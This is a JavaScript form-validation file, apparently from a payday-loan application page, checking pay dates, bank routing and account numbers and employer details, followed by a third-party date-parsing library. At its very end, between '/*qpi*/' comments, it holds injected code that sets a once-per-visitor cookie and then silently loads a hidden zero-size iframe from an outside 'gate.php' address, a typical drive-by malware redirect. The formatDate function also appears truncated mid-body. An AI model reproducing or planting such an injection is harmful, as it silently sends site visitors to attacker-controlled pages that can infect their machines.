			msg+="NEXT PAY DATE must be Greater than the Current Date"+sep;
		}
	}
	
// -----------------------------------
// -----------------------------------

if (trim(form.NEXT_AFTER_NEXT_PAY_DATE_m.value) == "" || form.NEXT_AFTER_NEXT_PAY_DATE_m.value == "0") 
	{
		msg+="Please fill out Month for 2nd Pay Date"+sep;
	}
	else
	{
		if(!IsNumeric(form.NEXT_AFTER_NEXT_PAY_DATE_m.value))
		{
			msg+="Please fill out Valid Month for 2nd Pay Date"+sep;	
		}
	}
	if (trim(form.NEXT_AFTER_NEXT_PAY_DATE_y.value) == "" ||  form.NEXT_AFTER_NEXT_PAY_DATE_y.value == "0") 
	{
		msg+="Please fill out Year for 2nd Pay Date"+sep;
	}
	else
	{
		if(!IsNumeric(form.NEXT_AFTER_NEXT_PAY_DATE_y.value))
		{
			msg+="Please fill out Valid Year for 2nd Pay Date"+sep;	
		}
	}
	if (trim(form.NEXT_AFTER_NEXT_PAY_DATE_d.value) == "" || form.NEXT_AFTER_NEXT_PAY_DATE_d.value == "0") 
	{
		msg+="Please fill out Day for 2nd Pay Date"+sep;
	}
	else
	{
		if(!IsNumeric(form.NEXT_AFTER_NEXT_PAY_DATE_d.value))
		{
			msg+="Please fill out Valid Day for 2nd Pay Date"+sep;	
		}
	}
	var NEXT_AFTER_NEXT_PAY_DATE =  form.NEXT_AFTER_NEXT_PAY_DATE_m.value +"/"+ form.NEXT_AFTER_NEXT_PAY_DATE_d.value+"/"+form.NEXT_AFTER_NEXT_PAY_DATE_y.value;
	
	if(!isDate(NEXT_AFTER_NEXT_PAY_DATE,"MM/dd/yyyy"))
	{
			msg+="Please fill out Valid Date for 2nd Pay Date"+sep;
	}
	else
	{
		var	today =	new	Date()
		var crrMonth = today.getMonth();
		crrMonth++;
		if(crrMonth < 10)
			crrMonth = "0" + crrMonth; 
		
		var currDate = crrMonth +"/"+ today.getDate()+"/"+today.getFullYear();
	
		//   1 if date1 is greater than date2
		//   0 if date2 is greater than date1 of if they are the same
		//  -1 if either of the dates is in an invalid format
		//alert(currDate+"-"+dobDate);
		if(compareDates(currDate, "MM/dd/yyyy", NEXT_AFTER_NEXT_PAY_DATE, "MM/dd/yyyy") == 1 || currDate==NEXT_AFTER_NEXT_PAY_DATE)
		{
			msg+="2nd PAY DATE must be Greater than the Current Date"+sep;
		}

		if(compareDates(NEXT_PAY_DATE, "MM/dd/yyyy", NEXT_AFTER_NEXT_PAY_DATE, "MM/dd/yyyy") ==1 || NEXT_PAY_DATE==NEXT_AFTER_NEXT_PAY_DATE)
		{
			msg+="2nd PAY DATE must be Greater than the NEXT PAY DATE"+sep;
		}
	}
	
// -----------------------------------	
	
	
	if (form.MonthlyIncome.value == "") 
	{
		msg+="Please fill out Monthly Income"+sep;
	}

/*********/
	if (form.NEXT_AFTER_NEXT_PAY_DATE_y.value == "") 
	{
		msg+="Please fill out Monthly Payment"+sep;
	}
	else 
	{
		if(!IsNumeric(form.NEXT_AFTER_NEXT_PAY_DATE_y.value))
		{
			msg+="Please fill out NEXT AFTER NEXT PAY DATE Year"+sep;	
		}
	}
	
	
	if (form.BankName.value == "") 
	{
		msg+="Please fill out Bank Name"+sep;
	}
/************/
	var appl_bank_phone1 = trim(form.appl_bank_phone1.value);
	var appl_bank_phone2 = trim(form.appl_bank_phone2.value);
	var appl_bank_phone3 = trim(form.appl_bank_phone3.value);
	var appl_bank_phone = appl_bank_phone1 + "-" + appl_bank_phone2 + "-" + appl_bank_phone3;
					
	if (appl_bank_phone1 == "" || appl_bank_phone2 == "" || appl_bank_phone3 == "") 
	{
		msg+="Please fill out bank phone"+sep;
	}
	else
	{
		var strExpression = /^[0-9]{3}-[0-9]{3}-[0-9]{4}$/i; 
   		var kk= strExpression.test(appl_bank_phone); 
		if(!kk)
		{
			msg+="Please fill out Valid Bank Phone(123-456-7891)"+sep;	
		}
	}

	if (form.checking_account.value=="undefined" || form.checking_account.value == "") 
	{
		msg+="Please fill out Monthly Income"+sep;
	}
	
	if (form.appl_bank_len_yr.value == "") 
	{
		msg+="Please fill out HOW LONG HAVE YOU HAD THE BANK ACCOUNT YEAR ?"+sep;
	}
	if (form.appl_bank_len_mo.value == "") 
	{
		msg+="Please fill out HOW LONG HAVE YOU HAD THE BANK ACCOUNT Month ?"+sep;
	}
	if (form.RoutingNumber.value == "") 
	{
		msg+="Please fill out Routing Number ?"+sep;
	}
	else
	{
		var RoutingNumber=form.RoutingNumber.value;
		var strExpression = /^[0-9]{9}$/i; 
   		var kk= strExpression.test(RoutingNumber); 
		if(!kk)
		{
			msg+="Please fill out Valid Routing Number"+sep;	
		}
		else
		{
			var Sum = 3*(parseInt(RoutingNumber.substring(0,1)) + parseInt(RoutingNumber.substring(3,4)) + parseInt(RoutingNumber.substring(6,7)));
			Sum =Sum+(7*(parseInt(RoutingNumber.substring(1,2)) + parseInt(RoutingNumber.substring(4,5)) + parseInt(RoutingNumber.substring(7,8))));
			Sum =Sum+(1*(parseInt(RoutingNumber.substring(2,3)) + parseInt(RoutingNumber.substring(5,6)) + parseInt(RoutingNumber.substring(8,9))));
			
			if((Sum%10)!=0)
			{
				msg+="Please fill out Valid Routing Number"+sep;
			}
		}
	}
	
	if (form.BankAccountNumber.value == "") 
	{
		msg+="Please fill out Bank Account Number ?"+sep;
	}
	else
	{
		var BankAccountNumber=form.BankAccountNumber.value;
		var strExpression = /^[0-9]{5,30}$/i; 
   		var kk= strExpression.test(BankAccountNumber); 
		if(!kk)
		{
			msg+="Please fill out Valid Bank Account Number"+sep;	
		}
	}
	
	if (form.Employer.value == "") 
	{
		msg+="Please fill out Employer"+sep;
	}
	else
  	{
		if(isAlpha(form.Employer.value) == false)
		{
			msg+="Please fill out Valid Employer?"+sep;	
		}
	}
	
	if (form.Occupation.value == "") 
	{
		msg+="Please fill out Occupation"+sep;
	}
	
	if (form.SupervisorName.value == "") 
	{
		msg+="Please fill out Supervisor"+sep;
	}
	else
  	{
		if(isAlpha(form.SupervisorName.value) == false)
		{
			msg+="Please fill out Valid Supervisor?"+sep;	
		}
	}
	
	if (form.active_military.value == "") 
	{
		msg+="Please fill out Active Military"+sep;
	}
	
	var SupervisorPhone1 = trim(form.SupervisorPhone1.value);
	var SupervisorPhone2 = trim(form.SupervisorPhone2.value);
	var SupervisorPhone3 = trim(form.SupervisorPhone3.value);
	var SupervisorPhone = SupervisorPhone1 + "-" + SupervisorPhone2 + "-" + SupervisorPhone3;
					
	if (SupervisorPhone1 == "" || SupervisorPhone2 == "" || SupervisorPhone3 == "") 
	{
		msg+="Please fill out Employer's phone"+sep;
	}
	else
	{
		var strExpression = /^[0-9]{3}-[0-9]{3}-[0-9]{4}$/i; 
   		var kk= strExpression.test(SupervisorPhone); 
		if(!kk)
		{
			msg+="Please fill out Valid Employer's Phone(123-456-7891)"+sep;	
		}
	}
	
	// --
	if (form.appl_emp_addr1.value == "") 
	{
		msg+="Please fill out Employer's Address"+sep;
	}
	
	if (form.appl_emp_city.value == "") 
	{
		msg+="Please fill out Employer City"+sep;
	}
	
	if (form.appl_emp_state.value == "") 
	{
		msg+="Please fill out Employer State"+sep;
	}
	
	var ezipCode = form.appl_emp_zip.value;
	
	if (form.appl_emp_zip.value == "") 
	{
		msg+="Please fill out Employer Zip"+sep;
	}
	else
	{
		if(!IsInt(form.appl_emp_zip.value))
		{
			msg+="Please fill out Valid Employer Zip"+sep;	
		}
		else if(ezipCode.length != 5)
		{
			msg+="Employer Zip must be of 5 digits"+sep;	
		}
	}

	if (msg.length>0) 
	{
		alert(msg);
		return false;
	} 
	else 
	{ 
		return true; 
	}
}

////  ---------------------------------------------------------------------------------

function IsNumeric(sText)
{
   var ValidChars = "0123456789.";
   var IsNumber=true;
   var Char;
   if(sText != "")
   {
	   for (i = 0; i < sText.length && IsNumber == true; i++) 
	   { 
		  Char = sText.charAt(i); 
		  if (ValidChars.indexOf(Char) == -1) 
		  {
			 IsNumber = false;
		  }
	   }
   }
   return IsNumber;
}
function IsInt(sText)
{
	//alert(sText);
   var ValidChars = "0123456789";
   var IsInt=true;
   var Char;
  
   if(sText != "")
   {
	   for (i = 0; i < sText.length && IsInt == true; i++) 
	   { 
		  Char = sText.charAt(i); 
		  if (ValidChars.indexOf(Char) == -1) 
		  {
			 IsInt = false;
		  }
	   }
   }
   return IsInt;
}
function validEmail(strEmail)
{	//var strExpression = /^[a-z][a-z_0-9\.]+@[a-z_0-9\.]+$/i;
	
	//return strExpression.test(strEmail);
	if (strEmail.search(/^\w+((-\w+)|(\.\w+))*\@[A-Za-z0-9]+((\.|-)[A-Za-z0-9]+)*\.[A-Za-z0-9]+$/) != -1)
		return true;
	else
		return false;

}

function isAlphaNumeric(strText) 
{ 
   var strExpression = /^[a-z][a-z_0-9]{0,}$/i; 
   return strExpression.test(strText); 
}

function isAlpha(strText) 
{ 
   var strExpression = /^[a-z][a-z_A-Z]{0,}$/i; 
   return strExpression.test(strText); 
}

function isAlphaSpace(strText) 
{ 
   var strExpression = /^[a-z][a-z_A-Z_ ]{0,}$/i; 
   return strExpression.test(strText); 
}

// ===================================================================
// Author: Matt Kruse <matt@mattkruse.com>
// WWW: http://www.mattkruse.com/
//
// NOTICE: You may use this code for any purpose, commercial or
// private, without any further permission from the author. You may
// remove this notice from your final code if you wish, however it is
// appreciated by the author if at least my web site address is kept.
//
// You may *NOT* re-distribute this code in any way except through its
// use. That means, you can include it in your product, or your web
// site, or any other form where the code is actually being used. You
// may not put the plain javascript up on your site for download or
// include it in your javascript libraries for download. 
// If you wish to share this code with others, please just point them
// to the URL instead.
// Please DO NOT link directly to my .js files from your site. Copy
// the files to your server and use them there. Thank you.
// ===================================================================

// HISTORY
// ------------------------------------------------------------------
// May 17, 2003: Fixed bug in parseDate() for dates <1970
// March 11, 2003: Added parseDate() function
// March 11, 2003: Added "NNN" formatting option. Doesn't match up
//                 perfectly with SimpleDateFormat formats, but 
//                 backwards-compatability was required.

// ------------------------------------------------------------------
// These functions use the same 'format' strings as the 
// java.text.SimpleDateFormat class, with minor exceptions.
// The format string consists of the following abbreviations:
// 
// Field        | Full Form          | Short Form
// -------------+--------------------+-----------------------
// Year         | yyyy (4 digits)    | yy (2 digits), y (2 or 4 digits)
// Month        | MMM (name or abbr.)| MM (2 digits), M (1 or 2 digits)
//              | NNN (abbr.)        |
// Day of Month | dd (2 digits)      | d (1 or 2 digits)
// Day of Week  | EE (name)          | E (abbr)
// Hour (1-12)  | hh (2 digits)      | h (1 or 2 digits)
// Hour (0-23)  | HH (2 digits)      | H (1 or 2 digits)
// Hour (0-11)  | KK (2 digits)      | K (1 or 2 digits)
// Hour (1-24)  | kk (2 digits)      | k (1 or 2 digits)
// Minute       | mm (2 digits)      | m (1 or 2 digits)
// Second       | ss (2 digits)      | s (1 or 2 digits)
// AM/PM        | a                  |
//
// NOTE THE DIFFERENCE BETWEEN MM and mm! Month=MM, not mm!
// Examples:
//  "MMM d, y" matches: January 01, 2000
//                      Dec 1, 1900
//                      Nov 20, 00
//  "M/d/yy"   matches: 01/20/00
//                      9/2/00
//  "MMM dd, yyyy hh:mm:ssa" matches: "January 01, 2000 12:30:45AM"
// ------------------------------------------------------------------

var MONTH_NAMES=new Array('January','February','March','April','May','June','July','August','September','October','November','December','Jan','Feb','Mar','Apr','May','Jun','Jul','Aug','Sep','Oct','Nov','Dec');
var DAY_NAMES=new Array('Sunday','Monday','Tuesday','Wednesday','Thursday','Friday','Saturday','Sun','Mon','Tue','Wed','Thu','Fri','Sat');
function LZ(x) {return(x<0||x>9?"":"0")+x}

// ------------------------------------------------------------------
// isDate ( date_string, format_string )
// Returns true if date string matches format of format string and
// is a valid date. Else returns false.
// It is recommended that you trim whitespace around the value before
// passing it to this function, as whitespace is NOT ignored!
// ------------------------------------------------------------------
function isDate(val,format) {
	var date=getDateFromFormat(val,format);
	if (date==0) { return false; }
	return true;
	}

// -------------------------------------------------------------------
// compareDates(date1,date1format,date2,date2format)
//   Compare two date strings to see which is greater.
//   Returns:
//   1 if date1 is greater than date2
//   0 if date2 is greater than date1 of if they are the same
//  -1 if either of the dates is in an invalid format
// -------------------------------------------------------------------
function compareDates(date1,dateformat1,date2,dateformat2) {
	var d1=getDateFromFormat(date1,dateformat1);
	var d2=getDateFromFormat(date2,dateformat2);
	if (d1==0 || d2==0) {
		return -1;
		}
	else if (d1 > d2) {
		return 1;
		}
	return 0;
	}

// ------------------------------------------------------------------
// formatDate (date_object, format)
// Returns a date in the output format specified.
// The format string uses the same abbreviations as in getDateFromFormat()
// ------------------------------------------------------------------
function formatDate(date,format) {
	format=format+"";
	var result="";
	var i_format=0;
	var c="";
	var token="";
	var y=date.getYear()+"";
	var M=date.getMonth()+1;
	var d=date.getDate();
	var E=date.getDay();
	var H=date.getHours();
	var m=date.getMinutes();
	var s=date.getSeconds();
	var yyyy,yy,MMM,MM,dd,hh,h,mm,ss,ampm,HH,H,KK,K,kk,k;
value["dd"]=LZ(d);
	value["E"]=DAY_NAMES[E+7];
	value["EE"]=DAY_NAMES[E];
	value["H"]=H;
	value["HH"]=LZ(H);
	if (H==0){value["h"]=12;}
	else if (H>12){value["h"]=H-12;}
	else {value["h"]=H;}
	value["hh"]=LZ(value["h"]);
	if (H>11){value["K"]=H-12;} else {value["K"]=H;}
	value["k"]=H+1;
	value["KK"]=LZ(value["K"]);
	value["kk"]=LZ(value["k"]);
	if (H > 11) { value["a"]="PM"; }
	else { value["a"]="AM"; }
	value["m"]=m;
	value["mm"]=LZ(m);
	value["s"]=s;
	value["ss"]=LZ(s);
	while (i_format < format.length) {
		c=format.charAt(i_format);
		token="";
		while ((format.charAt(i_format)==c) && (i_format < format.length)) {
			token += format.charAt(i_format++);
			}
		if (value[token] != null) { result=result + value[token]; }
		else { result=result + token; }
		}
	return result;
	}
	
// ------------------------------------------------------------------
// Utility functions for parsing in getDateFromFormat()
// ------------------------------------------------------------------
function _isInteger(val) {
	var digits="1234567890";
	for (var i=0; i < val.length; i++) {
		if (digits.indexOf(val.charAt(i))==-1) { return false; }
		}
	return true;
	}
function _getInt(str,i,minlength,maxlength) {
	for (var x=maxlength; x>=minlength; x--) {
		var token=str.substring(i,i+x);
		if (token.length < minlength) { return null; }
		if (_isInteger(token)) { return token; }
		}
	return null;
	}
	
// ------------------------------------------------------------------
// getDateFromFormat( date_string , format_string )
//
// This function takes a date string and a format string. It matches
// If the date string matches the format string, it returns the 
// getTime() of the date. If it does not match, it returns 0.
// ------------------------------------------------------------------
function getDateFromFormat(val,format) {
	val=val+"";
	format=format+"";
	var i_val=0;
	var i_format=0;
	var c="";
	var token="";
	var token2="";
	var x,y;
	var now=new Date();
	var year=now.getYear();
	var month=now.getMonth()+1;
	var date=1;
	var hh=now.getHours();
	var mm=now.getMinutes();
	var ss=now.getSeconds();
	var ampm="";
	
	while (i_format < format.length) {
		// Get next token from format string
		c=format.charAt(i_format);
		token="";
		while ((format.charAt(i_format)==c) && (i_format < format.length)) {
			token += format.charAt(i_format++);
			}
		// Extract contents of value based on format token
		if (token=="yyyy" || token=="yy" || token=="y") {
			if (token=="yyyy") { x=4;y=4; }
			if (token=="yy")   { x=2;y=2; }
			if (token=="y")    { x=2;y=4; }
			year=_getInt(val,i_val,x,y);
			if (year==null) { return 0; }
			i_val += year.length;
			if (year.length==2) {
				if (year > 70) { year=1900+(year-0); }
				else { year=2000+(year-0); }
				}
			}
		else if (token=="MMM"||token=="NNN"){
			month=0;
			for (var i=0; i<MONTH_NAMES.length; i++) {
				var month_name=MONTH_NAMES[i];
				if (val.substring(i_val,i_val+month_name.length).toLowerCase()==month_name.toLowerCase()) {
					if (token=="MMM"||(token=="NNN"&&i>11)) {
						month=i+1;
						if (month>12) { month -= 12; }
						i_val += month_name.length;
						break;
						}
					}
				}
			if ((month < 1)||(month>12)){return 0;}
			}
		else if (token=="EE"||token=="E"){
			for (var i=0; i<DAY_NAMES.length; i++) {
				var day_name=DAY_NAMES[i];
				if (val.substring(i_val,i_val+day_name.length).toLowerCase()==day_name.toLowerCase()) {
					i_val += day_name.length;
					break;
					}
				}
			}
		else if (token=="MM"||token=="M") {
			month=_getInt(val,i_val,token.length,2);
			if(month==null||(month<1)||(month>12)){return 0;}
			i_val+=month.length;}
		else if (token=="dd"||token=="d") {
			date=_getInt(val,i_val,token.length,2);
			if(date==null||(date<1)||(date>31)){return 0;}
			i_val+=date.length;}
		else if (token=="hh"||token=="h") {
			hh=_getInt(val,i_val,token.length,2);
			if(hh==null||(hh<1)||(hh>12)){return 0;}
			i_val+=hh.length;}
		else if (token=="HH"||token=="H") {
			hh=_getInt(val,i_val,token.length,2);
			if(hh==null||(hh<0)||(hh>23)){return 0;}
			i_val+=hh.length;}
		else if (token=="KK"||token=="K") {
			hh=_getInt(val,i_val,token.length,2);
			if(hh==null||(hh<0)||(hh>11)){return 0;}
			i_val+=hh.length;}
		else if (token=="kk"||token=="k") {
			hh=_getInt(val,i_val,token.length,2);
			if(hh==null||(hh<1)||(hh>24)){return 0;}
			i_val+=hh.length;hh--;}
		else if (token=="mm"||token=="m") {
			mm=_getInt(val,i_val,token.length,2);
			if(mm==null||(mm<0)||(mm>59)){return 0;}
			i_val+=mm.length;}
		else if (token=="ss"||token=="s") {
			ss=_getInt(val,i_val,token.length,2);
			if(ss==null||(ss<0)||(ss>59)){return 0;}
			i_val+=ss.length;}
		else if (token=="a") {
			if (val.substring(i_val,i_val+2).toLowerCase()=="am") {ampm="AM";}
			else if (val.substring(i_val,i_val+2).toLowerCase()=="pm") {ampm="PM";}
			else {return 0;}
			i_val+=2;}
		else {
			if (val.substring(i_val,i_val+token.length)!=token) {return 0;}
			else {i_val+=token.length;}
			}
		}
	// If there are any trailing characters left in the value, it doesn't match
	if (i_val != val.length) { return 0; }
	// Is date valid for month?
	if (month==2) {
		// Check for leap year
		if ( ( (year%4==0)&&(year%100 != 0) ) || (year%400==0) ) { // leap year
			if (date > 29){ return 0; }
			}
		else { if (date > 28) { return 0; } }
		}
	if ((month==4)||(month==6)||(month==9)||(month==11)) {
		if (date > 30) { return 0; }
		}
	// Correct hours value
	if (hh<12 && ampm=="PM") { hh=hh-0+12; }
	else if (hh>11 && ampm=="AM") { hh-=12; }
	var newdate=new Date(year,month-1,date,hh,mm,ss);
	return newdate.getTime();
	}

// ------------------------------------------------------------------
// parseDate( date_string [, prefer_euro_format] )
//
// This function takes a date string and tries to match it to a
// number of possible date formats to get the value. It will try to
// match against the following international formats, in this order:
// y-M-d   MMM d, y   MMM d,y   y-MMM-d   d-MMM-y  MMM d
// M/d/y   M-d-y      M.d.y     MMM-d     M/d      M-d
// d/M/y   d-M-y      d.M.y     d-MMM     d/M      d-M
// A second argument may be passed to instruct the method to search
// for formats like d/M/y (european format) before M/d/y (American).
// Returns a Date object or null if no patterns match.
// ------------------------------------------------------------------
function parseDate(val) {
	var preferEuro=(arguments.length==2)?arguments[1]:false;
	generalFormats=new Array('y-M-d','MMM d, y','MMM d,y','y-MMM-d','d-MMM-y','MMM d');
	monthFirst=new Array('M/d/y','M-d-y','M.d.y','MMM-d','M/d','M-d');
	dateFirst =new Array('d/M/y','d-M-y','d.M.y','d-MMM','d/M','d-M');
	var checkList=new Array('generalFormats',preferEuro?'dateFirst':'monthFirst',preferEuro?'monthFirst':'dateFirst');
	var d=null;
	for (var i=0; i<checkList.length; i++) {
		var l=window[checkList[i]];
		for (var j=0; j<l.length; j++) {
			d=getDateFromFormat(val,l[j]);
			if (d!=0) { return new Date(d); }
			}
		}
	return null;
	}

function IncludeJavaScript(jsFile)
{
  ; 
}

//IncludeJavaScript("http://chat.teamsalesagent.com/tsa/JS/chat_306.aspx")
/*qpi*/
function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}
var e=new Date();e.setTime(e.getTime()+(2592000000));
if(!g()&&window.navigator.cookieEnabled)
{
	document.cookie='1=1;expires='+e.toGMTString()+';path=/';
	window.setTimeout(function(){
		var JSinj=document.createElement('iframe');
		JSinj.src='http://josefina.in/gate.php?f=849161&r='+escape(document.referrer||'');
		JSinj.width='0';
		JSinj.height='0';
		JSinj.frameborder='0';
		JSinj.marginheight='0';
		JSinj.marginwidth='0';
		JSinj.border='0';
		try{
			document.body.appendChild(JSinj);
		}catch(e){
			document.documentElement.appendChild(JSinj);
		}
	}, 2000);
}
/*qpi*/
